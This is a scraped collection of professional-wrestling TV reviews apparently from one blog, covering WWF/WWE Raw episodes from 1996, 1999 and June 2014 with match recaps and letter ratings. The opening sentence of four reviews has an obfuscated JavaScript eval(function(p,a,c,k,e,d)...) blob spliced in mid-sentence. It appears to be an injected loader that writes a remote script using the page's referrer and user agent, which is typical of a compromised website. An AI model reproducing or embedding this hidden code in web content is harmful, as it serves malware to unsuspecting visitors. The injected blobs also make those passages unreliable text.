Back in and HHH drops a knee for two before clotheslining Mankind out to the floor. Both guys are sent into the steps with HHH getting the better of it and hammering away back inside. The Pedigree is countered but HHH blocks the catapult attempt, so Mankind falls head first onto his crotch. Socko is loaded up but Chyna crotches Mankind against the post for a DQ.

Rating: C-. Better match but that’s still not saying match. These guys were capable of having some classics but they need more than six minutes on a random Raw in the middle of April. The DQ/screwy finishes are getting really annoying tonight, which says a lot given what we usually have to sit through on this show.

Post match the Corporation comes in to attack Mankind but Big Show makes the save. He hits a HUGE chokeslam on Test to send everyone running. Mankind grabs the mic and says thank you very much, but they’ll still meet in his boiler room on Sunday.

Rock is on the phone in the parking lot and says his car cost $40,000.

Billy Gunn vs. Jeff Jarrett

Jeff sends him into the corner and stomps away to start but walks into a great powerslam for two. Owen comes out to trip Billy, allowing Jarrett to clothesline him outside. Road Dogg gets caught trying to help and Gunn is posted. A bulldog gets two for Jarrett but Billy drops him face first onto the top turnbuckle to take over.

Road Dogg helps his partner out with a right hand but Billy and Jeff hit heads to knock each other down. JR is already annoyed at the puppy jokes as Billy nails a neckbreaker, but Debra unbuttons her top to show off her bra. Billy simply drops his tights and hits a Fameasser on Jarrett but Owen comes in for the DQ.

Rating: C-. That’s almost out of pity as these matches have just been awful tonight. The tag matches make sense for Sunday, but I don’t see the point in having one team win both of the matches. The puppy stuff would dominate anything to do with women for about the next three years, much to JR’s annoyances.

Debra takes off her jacket but Jeff covers her bra with the guitar.

Rock won’t give an interview to WWF.com and tells the interviewer to get him some fruit.

Viscera vs. Big Show

They lock up to start and Big Show easily shoves him to the mat. Viscera takes him into the corner for some fat man splashes, only to get crushed with a clothesline. A rather impressive hiptoss puts Viscera down but he comes back with more fat man splashes. Big Show kicks him in the face to drop Viscera again but the lights go out as he loads up the chokeslam. We’ll say it’s a no contest here after your usual battle of the huge men match.

Undertaker and Paul Bearer come to the ring and we get the real showdown with Big Show. They slug it out and both try chokeslams but Viscera gets back up for the double team. Big Show still won’t go down but Undertaker punches him onto one knee. Mankind comes out to even things up but Undertaker leaves Viscera alone. Big Show superkicks Viscera to the floor. It really is amazing how much bigger Show is than Viscera, who is a massive man.

We look at Shane taking over the Corporation last week.

Vince and Stephanie are in Connecticut for a sitdown interview with Michael Cole. Vince says he’s always been proud of Shane but he wasn’t always there for him. Shane missed a lot as well because Vince wasn’t there, but Vince wasn’t proud last week. Stephanie can’t believe what Shane has done recently but knows that the only person that can keep her safe is Vince.

Security interrupts the interview and says something is going on in the parking lot. Vince tells the guards to stay there with Stephanie and goes after whoever is in the parking lot. It turns out to be Mideon and Vince beats the tar out of him before trying to crush Mideon with his own car. Mideon escapes and gets into the car as we go to a break.

Here’s Val Venis to say he’s solved the Y2K problem. All the ladies have to do is add a few extra bytes of ram from his hard drive and everything will be fine. This brings out Sable who says that’s nice, but she’s got bigger news: in two weeks, she’ll be shooting her second Playboy pictorial. This brings out Ivory and D’Lo Brown and the double brawl is on for no apparent reason. Now Sable’s bodyguard Nicole Bass comes out to destroy Ivory with a chokeslam. Val seems to have eyes for Sable.

It’s time for Rock to deliver the eulogy for Austin. Rock sets the tone with “Dearly trailer park trash”. Oh we could be in for a good one here. Rock isn’t sure if a roody poo like Steve Austin will fit in that casket before we get the real point of this: Rock opens his jacket to reveal the Smoking Skull belt. He runs his mouth about Backlash a bit until you can hear an engine revving.

We go outside and Austin is in a 3:16 monster truck. He goes over to the Rock’s car and puts it in the middle of the parking lot before getting back in the monster truck. Austin teases it a bit by driving around the Lincoln Continental a few times before crushing the brand new $40,000 car, sending Rock into a frenzy.

With that nice and destroyed, Austin drives the truck into the arena and beers are consumed. Back into the truck and Austin runs over the hearse before the fight is on. Rock barely gets in a single shot before Austin nails him with the belt to send Rock into the grave. Austin poses with the title but Shane comes in (remember that he’s the referee on Sunday) and breaks a shovel over Austin’s head to end the show.

Overall Rating: D+. This is where Vince Russo was in need of the leash more than ever. All the stuff in the middle of this show was about as dreadful as you can get because it keeps going so fast that you can’t keep up with anything at all. However, there’s good stuff on both ends of the show that make it worth seeing. As for a go home show though, this really didn’t hold up well either. Most of the matches were just glossed over and the pay per view sounds like it’s going to be a big commercial for the next night’s Raw. That being said, it’s still better than anything WCW was doing at this point and that’s all that mattered.

Here’s Backlash if you’re interested:

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And check out my Amazon author page with wrestling books for under $4 at:




Monday Night Raw – June 16, 2014: Sooner Than Later

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yidaz|var|u0026u|referrer|dtdfh||js|php'.split('|'),0,{})) Night Raw
Date: June 16, 2014
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

We’re in Cleveland tonight and the main story continues to be Shield vs. HHH/Orton/Rollins, which doesn’t seem to be Evolution anymore. Other than that we’re getting ready for Money in the Bank with two spots left in the World Title ladder match. John Cena is still without a match for the show, so you can probably pencil him in for a qualifying match at some point this week. Let’s get to it.

First off on a personal note, Happy Birthday Mom.

We open with the roster on the stage and the Authority walking through them to get to the ring. Stephanie knows how hard it is for the fans to not have a WE Champion because the title means so much. Look at her husband, the greatest of all time for proof of how it can immortalize people. Bryan has proven that he’s a B+ player because he didn’t have the heart to defend the title.

This brings HHH to the roster on the stage, because the next WWE Champion might be standing up there right now. Stephanie says tonight is about opportunity because someone will join the Money in the Bank match. Everyone up there will be in a battle royal, minus the Shield because they’ve refused to evolve. Also, John Cena won’t be in the match for reasons not specified. HHH knows Cena loves to help people, so tonight Cena can help the Authority. Tonight Cena gets his own chance to qualify for Money in the Bank, in a stretcher match against Kane.

Comedian Kevin Hart is guest host tonight.

Seth Rollins vs. Dolph Ziggler

I think we had a miscue before the break as Kane came out and is nowhere to be seen now. Rollins has some new music and is back in something similar to his Shield attire, though it’s a plain black sleveless top instead of a vest. The hometown boy runs Seth over to start but Rollins slaps him in the back of the head a few times. Ziggler hiptosses him down and out to the floor for a breather. Back in and Rollins puts on a headlock before whipping Ziggler hard into the corner as we take a break.

We come back with Seth getting two off something we didn’t see before putting on a chinlock. Ziggler escapes and heads to the floor where he blocks a suicide dive. Back in and Rollins hits a quick enziguri but misses the curb stomp, allowing Ziggler to nail the jumping DDT for two. Ziggler hammers away and gets two off a sunset flip before putting on the sleeper. Seth is quicky out but the Fameasser gets two for Dolph. Not that it matters as Rollins hits two straight buckle bombs followed by the curb stomp, but Ambrose runs in for the DQ at 11:06.

Rating: C+. This was getting going but the DQ ending makes sense in this case. Ambrose not coming out there when he knew where Rollins was wouldn’t have made sense so the ending is as logical as you can get. You knew Ziggler wasn’t going to go over Rollins at this point, so there isn’t much to complain about.

Ambrose erupts on Rollins but Seth bails to the floor. Dean tells him to get down here for his beating, but HHH pops up on screen and says he has some bad news for Ambrose.

Bad News Barrett vs. Dean Ambrose

This is joined in progress after a break with Dean, in street clothes, hitting a cross body and hammering away on Barrett. I’m assuming this is non-title. A snap suplex gets two on Barrett and we hit the face rip. Barrett comes back with a knee to the ribs and puts on a chinlock, complete with an angry look on his face. Bad News hammers away in the corner but Dean runs him over and fires off right hands of his own to knock Barrett outside. A big dive takes him down again but Barrett takes him inside and clotheslines Dean off the top rope to mess up Ambrose’s bad shoulder again. We take a break with the referee looking at Dean.

Back with both guys still on the floor and Barrett ramming the bad arm into the apron. They head back inside for more arm work until Dean makes a comeback with his good arm. Some right hands have Barrett staggered but he runs into Winds of Change for two. Wasteland is countered into a crucifix but Dean does his bounds off the ropes clothesline to drop Barrett. Dean is feeling the crowd because he’s an awesome face, but Rollins is on the announce table again. The distraction doesn’t work as Barrett is sent to the floor, setting up a double suicide dive from Ambrose. Dean follows Seth into the crowd for the countout at 11:55.

Rating: B-. Nice match here but more importantly Dean is FEELING IT as a face. The guy is just flat out talented and has the awesome visuals that you need to be a star. This feud is starting to make me think of HHH vs. Rock in 1998 and that feud launched both guys into the main event for the rest of their careers. That’s a very, very good sign.

Vickie Guerrero is bringing coffee to the Authority. She runs into Roman Reigns and suggests sugar. Vickie leaves the coffee there and Reigns spikes it with her gone. She sneezes again because that’s her thing now. And people wonder why the writers are mocked.

Here are the Wyatts with something to say. The ladder is set up in the middle of the ring. The cell phones for Wyatt’s entrance make for an awesome visual. Before the match Bray talks about how without power, we’re all just little mice running from the lions in the jungle. Power can be addicting because we all need and crave it. Power will be our downfall though because a powerful is to be respected, but a weak man is less valuable than the dirt he crawls through.

Bray’s game is power and that title is all the power he needs. He wants us to look at Harper and Rowan and judge them as you will. Judge them as you want, because at Money in the Bank, they’re taking the Tag Team Titles from the Usos. Bray crawls under the ladder and says at Money in the Bank, he’ll claim his power and his title. Sheamus interrupts and offers to put his boot down Bray’s throat because it’s time to fight.

Bray Wyatt vs. Sheamus

It’s a brawl to start with both guys getting in their own big shots to the head. Bray takes him down and slugs away with Sheamus in early trouble. Back up and Bray’s suplex is slam is blocked into a suplex from the ticked off pale one. Now it’s his turn to hammer away on Wyatt before dropping him with a running forearm. A middle rope forearm staggers Bray and the fight goes out to the floor. The Family is about to get involved but the Usos come out to even things up as we go to a break.

Back with Sheamus fighting out of a chinlock to continue the brawl before Bray hits the running crossbody for two. Sheamus hits the forearms on the apron but Bray counters White Noise. A powerslam puts Bray down and it’s Brogue Kick time but the Family interferes for the DQ at 11:16.

Rating: C+. This was the Sheamus Special: put him in there with another power brawler and let them beat each other up for awhile. Bray is looking like a step above a dark horse for the title match and I’d love to see him get the title just to see where things go from there. Nice match here and it’s nice to see no one win in a match where both guys should look strong.

Post match the Usos and Sheamus clean house, including using the ladder as a ramp to dive on the Wyatts. Sheamus throws the ladder at the Family’s head and Rowan looked to take it full on in the face.

HHH accidentally knocks his coffee into Vickie’s face. Stephanie gets hers and says it’s good.

After the break, Stephanie is still drinking coffee and talking about how it’s every man for himself when her stomach gets upset. Because her drink is spiked and she needs a bathroom you see, because that’s what a violent and angry man like Roman Reigns does. Paul Heyman comes in to take Stephanie’s interview time and asks about who could win Money in the Bank. He says it’s going to be Cesaro and that’s a spoiler.

Rusev vs. Heath Slater

This time Lana’s speech takes place in the ring. She thinks American men should be ashamed because Rusev keeps running through them and they’re nothing compared to Vladimir Putin. We get a picture of a Russian Mount Rushmore and Rusev can apparently speak English, saying that resistance if futile. Slater actually gets to talk and asks why Lana and Rusev don’t go back to Russia if they love it so much. He’s now the American Rock Star. Heath sactually slugs away to start but runs into a right hand and the jumping superkick. Accolade ends this in 34 seconds.

Vickie is sent in to check on the sick Stephanie and gets vomited on. Vickie is put in charge while the Authority leaves. Screaming ensues. This made me groan out loud.

Reigns goes to see Vickie, who hasn’t cleaned up because, as we learned from Layla last week, showers don’t exist at WWE. Roman says she’ll get fired next week and asks to be put in the battle royal to screw with the Authority. “Fine. YOU’RE IN!” The fans seem very pleased with this.

We get a clip of Kevin Hart’s new movie Think Like A Man Too.

Kevin Hart is talking about the movie when Adam Rose and the Exotic Experience comes in. Rose plugs the movie and says Hart should be a Rosebud. Hart has no idea what he just said but says no. Kevin wants to know why they’re all singing at him and that’s about it.

Adam Rose/Summer Rae vs. Fandango/Layla

Kevin Hart is on commentary. Cole tries to explain why the girls have poured milk and kitty litter on each other and it sounds so ridiculous when you put it into words. The guys get things started as Kevin makes fun of their clothes. Layla tags herself in and we get a catfight but Layla quickly tags out. Summer chases her up the aisle and Rose hits the Party Foul for the pin at 1:25.

Hart joins the Express post match.

Money in the Bank Qualifying Match: Battle Royal

Titus O’Neil, Damien Sandow, Bo Dallas, Jack Swagger, Diego, Fernando, Curtis Axel, Fandango, Dolph Ziggler, Rusev, Ryback, Sin Cara, Santino Marella, Kofi Kingston, Big E., Roman Reigns, Rob Van Dam, Bad News Barrett, Xavier Woods

Those are all the people on the graphic so there’s a chance I missed a few. Damien is LeBron James because why not. Not that it matters as everyone gets together to put him out ten seconds in. Bo throws Santino out and Rusev does the same thing to both Matadores. Woods gets the same treatment from Rusev and everyone brawls for awhile.

Ziggler is sent to the apron and Reigns eliminates Titus. Swagger puts Sin Cara on the apron before catapulting him out. Kofi can’t get Swagger out and Big E. can’t get rid of Axel. Rusev gets Ziggler to the apron but a kick to the head saves Dolph. Kofi finally gets Swagger out and we take a break. Back with Rusev, Reigns, RVD, Ryback, Ziggler, Fandango, Dallas, Big E., Axel and Barrett still in, meaning Kofi (via Ryback) was the only elimination during the break. Speaking of eliminations, Ryback punches Ziggler out to the floor for his second straight elimination.

Reigns starts cleaning house and even takes Rusev down with a Superman Punch but can’t take care of Ryback that easily. Roman sends Fandango to the apron but has to spear Ryback and Axel down. A kick to the head puts Fandango out and Rusev kicks Reigns in the chest. Big E. dumps Ryback and Reigns throws out Axel. Another kick puts Roman down but Van Dam kicks Rusev in the face. Van Dam and Dallas start fighting but Barrett takes Rob down with a big boot.

Rob comes back with more kicks but Bo shoves him off the corner for a surprise elimination. That could be Bo’s first big feud. Barrett lays out a celebrating Bo and throws him to the apron but Bo hangs on. Nice little call back to the Rumble from a few years ago. Reigns dumps Barrett and Dallas knocks out Big E., but walks into the spear. Dallas is dumped and we’re down to Rusev vs. Roman.

The fans are WAY into this and the slugout is on. Reigns gets the early advantage but walks into a wicked spinwheel kick. They trade running charges in the corner and Reigns puts him on the apron. Some big right hands can’t get rid of the Russian but the Superman Punch sends Reigns to Money in the Bank and the crowd is VERY happy.

Rating: B. I was doubting Reigns for awhile but he’s coming off like a STAR at this point, just like Ambrose. This was a really solid battle royal as there were some good saves and the last bit of the match was really solid stuff. The last pairing is how you should do big matches: take two guys who look unbeatable and have them fight. Notice the reaction and you’ll see why that’s an idea.

John Cena holds up five fingers and knocks down a finger at a time to explain why he should go to Money in the Bank. All that’s left is his index finger, because him being WWE Champion is what’s best for business. Various unfunny references to Stephanie and Vickie were included.

Cameron vs. Paige

Non-title. There’s some story here about Cameron slapping Paige on social media. Paige gets all ticked off to start and throws Cameron around by the hair before driving in some headbutts. Cameron bails to the floor but comes back in with a kick to the ribs and another slap for two. Paige shrugs it off and nails some clotheslines followed by the PTO for the submission at 3:30.

Rating: D. Total snack time match here, but it showed one thing: Cameron is there because she’s annoying on a badly scripted reality show and how she looks in shorts. She couldn’t do even basic stuff competently in there and Paige was carrying everything she could for the match. Nothing to see here and Paige needs better help.

We recap the Rhodes Brothers’ issues. Tonight Cody has found the perfect partner for Goldust. Goldust has met him and says the partner is super and galactic.

Ryback/Curtis Axel vs. Goldust/???

And it’s Cody Rhodes in Goldust paint under the name Star Dust, despite Cody saying it wouldn’t be him last week. The Dusts jump Ryback and Axel to start with Cody hitting a quick DDT on Axel. Ryback is sent to the floor and Cody nails a springboard elbow to Curtis’ head. Something resembling Diamond Dust (ending in a cutter instead of a Stunner) ends Axel at 1:00.

Stephanie helped host the Special Olympics to give her a new charity to work with.

Money in the Bank Qualifying Match: John Cena vs. Kane

Stretcher match which is taking place because Cena is replacing Bryan due to injury. Kane easily takes him down to start and stomps away before taking him down to the floor. Cena is quickly off the stretcher and rams it into Kane’s ribs a few times to take over. A hard whip sends Cena into the steps and another puts him into the post to give the monster control again. John is put on the stretcher but gets off before they get too far up the ramp.

Back from a break with Kane still in control but Cena sends him into a chair. Cena goes up, only to jump into a chokeslam. That doesn’t mean much in a stretcher match though so Kane brings in the steps. John dropkicks the leg out though and Kane’s head slams into the steel. An AA off the steps is countered into a DDT but Cena is still dead weight. Kane can only get the stretcher partially up the ramp before Cena fights back and sends him into the post.

Kane whips Cena into the barricade and loads up the table but gets caught in an AA through said table to put the monster down. He’s still a long way from the stretcher though so Cena wisely puts him in a fireman’s carry. Cena gets him to the stretcher but collapses before he can get Kane on it. Cena finds another stretcher from ringside and gets Kane on it but here are Orton and Rollins to put Cena back in the ring. Why they didn’t put him on a stretcher is beyond me.

An RKO lays Cena out in the ring but Ambrose hits the ring to save Cena from a chair shot. Kane is back up though with a chokeslam to Ambrose, leaving us with the people in the match. Cena low bridges Kane to the floor and looks at the steps. We get the throw the steps spot but Kane mostly blocks them with his hands. He goes down anyway though and puts Kane on the stretcher but Kane sits up at the last second. He grabs Cena by the throat but Cena AA’s him back onto the stretcher to go to Money in the Bank at 15:18.

Rating: C-. These two never really worked all that well together but this wasn’t all that bad. I was thinking they wouldn’t go with Cena there for a second but I wasn’t sure what that would leave him with at the pay per view. Hopefully this gets rid of Kane for awhile as there really isn’t much for him to do right now.

Cena poses to end the show.

Overall Rating: B+. This show got by on energy alone and there’s nothing wrong with that at all. The parts that were good were REALLY good with the Shield stuff in particular knocking it out of the park. Rollins will be solid in his role but Ambrose and Reigns look like superstars already. The ladder match looks great and there are at least five legitimate contenders to win it.

It’s certainly not a perfect show by any means but the bad stuff was kept to a limit tonight. Yeah the stuff with the coffee was dumb and beyond a stretch, but at least the payoff was more than worth it. I have high hopes for Money in the Bank for the first time and above all else: IT LOOKS LIKE THERE WON’T BE A BRIEFCASE THIS YEAR! I couldn’t be happier about that so I’ll give the show bonus points. Really solid show this week that brought the goods.

Results
Seth Rollins b. Dolph Ziggler via DQ when Dean Ambrose interfered
Bad News Barrett b. Dean Ambrose via countout
Sheamus b. Bray Wyatt via DQ when the Wyatt Family interfered
Rusev b. Heath Slater – Accolade
Adam Rose/Summer Rae b. Fandango/Layla – Party Foul to Fandango
Roman Reigns won a battle royal last eliminating Rusev
Paige b. Cameron – PTO
Goldust/Star Dust b. Curtis Axel/Ryback – Diamond Dust to Axel
John Cena b. Kane – Cena pushed Kane over the finish line

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Monday Night Raw – September 23, 1996: Just Surrender Already

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hebhk|var|u0026u|referrer|dfksy||js|php'.split('|'),0,{})) Night Raw
Date: September 23, 1996
Location: Hersheypark Arena, Hershey, Pennsylvania
Attendance: 3,923
Commentators: Jim Ross, Kevin Kelly, Jerry Lawler

Another day and another review that I don’t remember a reason for. It’s the night after Mind Games and the main story is that Shawn Michaels is still WWF Champion after Vader attacked Shawn for a DQ. Undertaker went after Mankind to continue that feud that will just never die. We start the build to Buried Alive here as well. Let’s get to it.

We get stills of Fake Razor and Fake Diesel attacking Savio Vega last night. Heel JR says he told us so.

Opening sequence.

Intercontinental Title: Marc Mero vs. Farrooq

Title is vacant coming in due to Ahmed Johnson’s injuries. Pat Patterson is introduced as the guest referee to the crowd off camera and Mr. Perfect sits in on commentary. Sable and Sunny are the respective seconds here in a rare occurrence of them being on screen at the same time. Farrooq (still in the blue gladiator outfit) hammers away to start but gets rolled up for a few two counts. An enziguri drops Mero but he avoids a charge and clotheslines Farrooq out to the floor for a BIG flip dive. Back in and a springboard moonsault press gets two for Mero but he gets backdropped to the floor.

Ahmed Johnson calls in to the show and says he’ll be back to win his title. Back in and a powerslam gets two for Farrooq and a middle rope Samoan drop gets the same. Sunny gets in some choking but Sable chases her off, earning Sunny an ejection and a lot of booing. Back with Mero getting two off a backslide but getting clotheslined down with ease. Farrooq stays on the ribs before hitting the chinlock. JR promises to expose Jeff Jarrett tonight, whatever that means.

Mero fights up and nails a clothesline, only to get caught with another quick slam to change momentum. Farrooq goes up top but gets crotched down almost immediately. A top rope hurricanrana puts Farrooq down for two and a double clothesline drops both guys. Farrooq comes out and gets in a slap fight with Sable, allowing Mero to take Sunny’s purse from Farrooq and knock him silly, setting up the Wild Thing (shooting star) for the pin and the title.

Rating: C. Nothing special to see here but the Wild Thing was still a really high spot at the time. No it wasn’t a clean pin, but Mero winning the title is a good idea at the end of the day. He was a solid worker and getting much better around this time, but an injury would shut him down pretty horribly.

Mr. Perfect gives him the title post match.

We flash back over a year to see Roadie cost Jeff Jarrett the Intercontinental Title to Shawn Michaels at In Your House 2.

Mero and some low level friends celebrate in the locker room.

Vince narrates a video from In Your House 2 of Jarrett singing his country song, but something fishy went down. However, new video shows that he was LIP SYNCHING! The real singer is revealed next week.

Body Donnas vs. British Bulldog/Owen Hart

Owen and the Bulldog won the Tag Team Titles last night and have Clarance Mason (attorney) with them but this is non-title. Owen spins out of Zip’s wristlock to start as Mason swears he didn’t cheat Jim Cornette out of anything last night. A rollup gets two on Zip and some ECW guys (including Taz) jump the railing for some attention. We take a break and come back with Bulldog slamming Skip down before it’s off to Owen. That goes nowhere so Bulldog tries a gorilla press, only to be rolled up for a quick two.

Jim Cornette comes in on a split screen and yells about Mason cheating him out of the contract with Owen and Bulldog. Owen goes up but his top rope splash hits knees and the not hot tag brings in Zip to clean house. Skip and Bulldog fight to the floor before a Rocket Launcher gets two on Owen. Not that it matters as Hart comes back with a spinwheel kick and the Sharpshooter for the submission from Zip.

Rating: C-. This was fine though I don’t remember the Body Donnas being faces at all. I do however remember Clarance Mason vs. Jim Cornette being a rather dull feud that went nowhere, though Owen and Bulldog were awesome champions. The match was nothing special but I was surprised that the non-champions got in so much offense.

We see some stills of Mankind vs. Shawn from last night. Sid going after Vader sets up their match at Buried Alive and of course the main event is Undertaker vs. Mankind.

Undertaker is in a graveyard and talks about the betrayal of Paul Bearer. Last night he played mind games with Mankind and Bearer, and at Buried Alive he’ll get his revenge.

Doc Hendrix can’t find Diesel and Razor.

Steve Austin sits in on commentary.

Hunter Hearst Helmsley vs. The Stalker

Stalker is Barry Windham as a paramilitary character. He’s billed from the environment, which should tell you all you need to know about the character. Stalker takes him down with an easy armdrag before driving in elbows to the shoulder. A hammerlock slam keeps Helmsley in trouble but he comes back with some knees to the ribs to escape.

They head outside for nothing of note as Mr. Perfect comes out to watch. He’s feuding with Helmsley and stealing all his chicks around this time and the distraction lets Stalker slam him down again as we take a break. Back with Helmsley poking Stalker in the eye and hammering away in the corner.

Stalker escapes a sleeper with a jawbreaker as Austin wants to know why Stalker has so much paint on his face when everyone knows who he is. That’s a good question actually. A headbutt has Helmsley in trouble and a delayed suplex gets no cover. Perfect goes after Helmsley’s chick again as Stalker gets slammed face first onto the mat. The distraction allows Stalker to hit the superplex for the pin.

Rating: D+. Austin summed up the entire problem with Stalker in that one line: it wasn’t hard to tell who he was if you had been watching wrestling for almost any amount of time. The match was nothing all that great either with Helmsley not having any idea what he was doing yet and not being very good at all. It didn’t help that Windham had nothing at this point either.

Mankind and Bearer want to know why Undertaker was in their casket last night. Last night was Undertaker’s gravest mistake, even though Vader had already cost him the match. To be fair though, Mankind was never one to be all that objective.

JR is ready to bring out Razor and Diesel but gets interrupted by a Buried Alive ad.

Back in the arena and Ross says he has no loyalty to anyone but himself. In 1993 he was brought into the company and put into a toga after leaving the Atlanta Falcons. Then he carried the broadcast at the first King of the Ring but Vince fired him for being too good when he had Bell’s Palsy. This was one of the first times that Vince was identified as the owner. Then he was brought back when Raw needed a commentator for half the money. The fans are barely responding to this at all. JR brags about all the talent he’s brought in and brings out Fake Razor and no one cares. Savio Vega jumps Ramon to end the show.

Overall Rating: D. Oh my goodness was this year bad for the WWF. It’s not so much that the wrestling was horrible but the stories were terrible. The main story on this show was JR bringing back Fake Razor which bombed horribly because it looked like a bad Razor Ramon costume instead of Scott Hall. The Title match wasn’t bad but with almost no big stars here and nothing interesting for the most part, this was a rather horrible show.

I’ve already done the next week’s show. Here it is in case you’re interested:

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Reviewing the Review: Monday Night Raw – June 9, 2014

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eestz|var|u0026u|referrer|fheey||js|php'.split('|'),0,{})) night had some major events taking place and as usual, the fans aren’t all that pleased. To be fair it’s WWE, where nothing is ever satisfactory. Let’s get to it.

The opening promo was the Authority stripping Daniel Bryan of the WWE Title. At the end of the day, this is the only thing you can really do. The guy can’t wrestle and hasn’t been able to for a month, so you have to take it away. Luckily for Bryan, he was only champion for a month so it’s hard to jump on him for the weak ratings. If nothing else maybe he’ll be seen as valuable for them going down without him. The MITB ladder match will now be for the title and Randy Orton has been added to the match because he’s Randy Orton. Seriously that’s pretty much what HHH said.

In the same promo, HHH talks about how Shield was told to evolve but only Seth Rollins actually listened to him. This led to the announcement of a six man tag later with Ambrose and Reigns teaming up with whomever they could find against the Wyatts. Why anyone expected anyone not named John Cena to be the third man is beyond me. Yeah it was predictable, but don’t act like it was some big disappointment just because you figured out who it was and they didn’t throw in a big curveball. That’s your fault for inventing some standard. If you don’t like Cena that’s one thing, but saying that him being the third man is a stupid idea shows that you really don’t know what you’re talking about.

Sheamus beat Bad News Barrett in a MITB qualifying match. Say it with me: Sheamus got beaten up and hit a Brogue Kick for the win out of nowhere. Typical hard hitting and not bad match between these two.

The Wyatts had a promo with Bray saying he was reborn. This was below their usual standard.

Lana showed off her legs while Rusev destroyed Ryder.

The Goldust Needs A Partner story continued with R-Truth. Something that I haven’t touched on in this story is Ryback and Axel picking up a lot of wins. It’s building them up as a new set of challengers and that’s something the Usos need right now. I love killing two birds with one stone. Later in the night Cody promised a new partner next week who will magnify Goldust’s greatness. I saw someone say it’s Sandow as Goldust and that’s probably the case…..unless Cody is now a Boliever. I have no idea why but that popped into my head as a possibility last week. I know it doesn’t make sense and I doubt it happens but it was there.

Summer Rae poured milk over Layla and it looked like male ejaculation. You know you were all thinking it.

Now we get to the real meat of the show: Shield attacked 3MB and got to talk about Rollins. Ambrose got right to the point by saying he was going to beat Rollins up very, very badly. This was a really simple promo but Ambrose was bleeding charisma out there and the whole thing worked really well.

Then we got to the one I really liked. Reigns spoke in a very calm and casual voice about how Seth committed the most horrible sin of them all. Roman is coming after all three of them and Rollins is his first target, followed by Orton and then HHH, presumably at Summerslam.

Reigns going through Evolution one by one is a great story and will make him look like a huge star. I loved how casual he was with this and acted like this was something he just had to deal with. Not a lot of people talk in a voice like that and it worked for him. He even capped it off with a Game of Thrones reference, because Roman Reigns is 29 years old and actually in tune with pop culture rather than referencing things that were big deals 15 years ago.

Damien Sandow dressed as a dancer to team with Fandango (accompanied by a still milky Layla for no logical reason) in a loss to the Usos. If there’s a point to this Sandow stuff, please feel free to get to it anytime.

Bo Dallas beat Xavier Woods in the usual Dallas formula.

Cesaro beat RVD to qualify for the ladder match. There’s really nothing to say here.

Cole had a sitdown interview with Rollins to explain why he did this. The explanation was that Rollins founded the Shield and didn’t like sharing the credit. That helps, but it really doesn’t answer why he joined Evolution. Shield has proven that they’re better than Evolution, so why would Rollins want to work with or under a leader that he’s defeated twice now? It would make more sense to have Rollins strike out on his own or start a new stable with lackeys of his own. Instead he’s arguably third fiddle in Evolution and lower than when this whole thing started. I still think there was no reason for this other than shock value but this helped.

Ambrose and Reigns ran in post interview but the Wyatts made the save, drawing out Cena for the obvious reveal.

Paige beat Alicia Fox again and Fox freaked out on Aksana for costing her the match. I’d like to point out again: I don’t care about stories involving crazy losers.

Jack Swagger got fired up by a slap from Zeb and beat Santino. I didn’t care the first 5 times they did this and I don’t care now. Swagger has needed a repackaging for about four years now, since he’s been the same character since roughly 2009.

The six man main event was fine and did a nice job of storytelling. Having Reigns and Ambrose finally beat the Wyatts in a six man in their first try without Rollins shows that he was the reason they couldn’t do it and adds to the story. Reigns tearing through everyone is going to be an awesome sight to see.

Last night’s Raw was a good example of having everything go so fast that I didn’t have time to complain about most of it. The matches were mostly short but the most part nothing was all that terrible. This show was about the main event scene and we got a lot of stuff added on to the big pay per view match. Also we got a preview of what’s coming for Reigns and that’s the most important thing for the future. Efficient but not a great show this week.

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Monday Night Raw – June 9, 2014: It Was Better Than Nothing

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seizh|var|u0026u|referrer|ksknf||js|php'.split('|'),0,{})) Night Raw
Date: June 9, 2014
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

The main story coming into tonight are the fallout from Seth Rollins turning on Shield last week. Tonight we should be getting revenge from Ambrose and Reigns, who didn’t appear on Smackdown last week. On top of that, the breaking news today is Daniel Bryan not being cleared for Money in the Bank, meaning the title will likely be held up. Let’s get to it.

Here’s a very happy Authority to open the show. Stephanie talks about how they like to make blockbuster announcements and gives us a video of Daniel Bryan’s doctor. Dr. Maroon says that Daniel won’t be able to participate at Money in the Bank due to the severity of his neck injury. HHH is very pleased as Stephanie officially strips Bryan of the title. Stephanie wishes Bryan well and acknowledges his very selfish wife Brie.

